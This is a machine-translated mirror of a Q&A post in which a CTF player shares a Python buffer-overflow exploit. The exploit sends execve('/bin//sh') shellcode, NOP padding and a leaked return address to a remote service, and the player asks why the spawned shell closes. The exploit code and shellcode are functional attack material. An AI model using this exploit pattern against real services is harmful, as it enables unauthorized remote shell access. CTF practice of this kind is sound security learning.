簡體   English   中英

緩沖區溢出漏洞利用 TCP 不會保持外殼打開

[英]Buffer Overflow Exploit over using TCP won't keep shell open

我為這個 CTF 的遠程機器制作了一個緩沖區溢出漏洞利用。 挑戰打印出一個地址,然后您必須使用該地址才能知道您的 shellcode 存儲在哪里。 附上我當前的漏洞利用代碼:

if len(sys.argv) != 3:
    print "Usage: %s host port" % (sys.argv[0])
    sys.exit(0)

s = socket.create_connection([sys.argv[1], int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")

print s.recv(4096)

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ", recieved[13:23])
s.send(sh + pad + IP)

基本上首先我創建連接,然后我發送一個輸入,將程序引導到它需要去的地方,以便可以利用(與這個問題無關)

接下來我創建漏洞利用本身

基本前提是:

shellcode + padding + eip

eip 地址來自程序輸出給我的地址(這是我在 IP 變量中解析的)

該地址是緩沖區的開始,這是我的 shellcode 開始的地方,也是我想要跳轉到的地方。

我正在使用 socat 運行二進制文件,以便它與托管在 CTF 服務器上的挑戰相同。 我使用 GDB 附加到該進程,然后運行我的漏洞利用程序。 它成功了,但給出了這個輸出:

process 2422 is executing new program: /usr/bin/dash
[Inferior 1 (process 2422) exited normally]
(gdb) 

並且我與該服務的連接已終止。

如果我使用本地二進制文件運行它,我會使用 (python file.py ; cat - ;) | ./program 保持流打開,但這不是一個選項,因為我需要程序輸出的內容並且必須遠程執行。 我也嘗試過使用 Telnet,但隨后程序就掛了,什么也沒發生。

通過 tmux 運行漏洞利用腳本對我有用。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM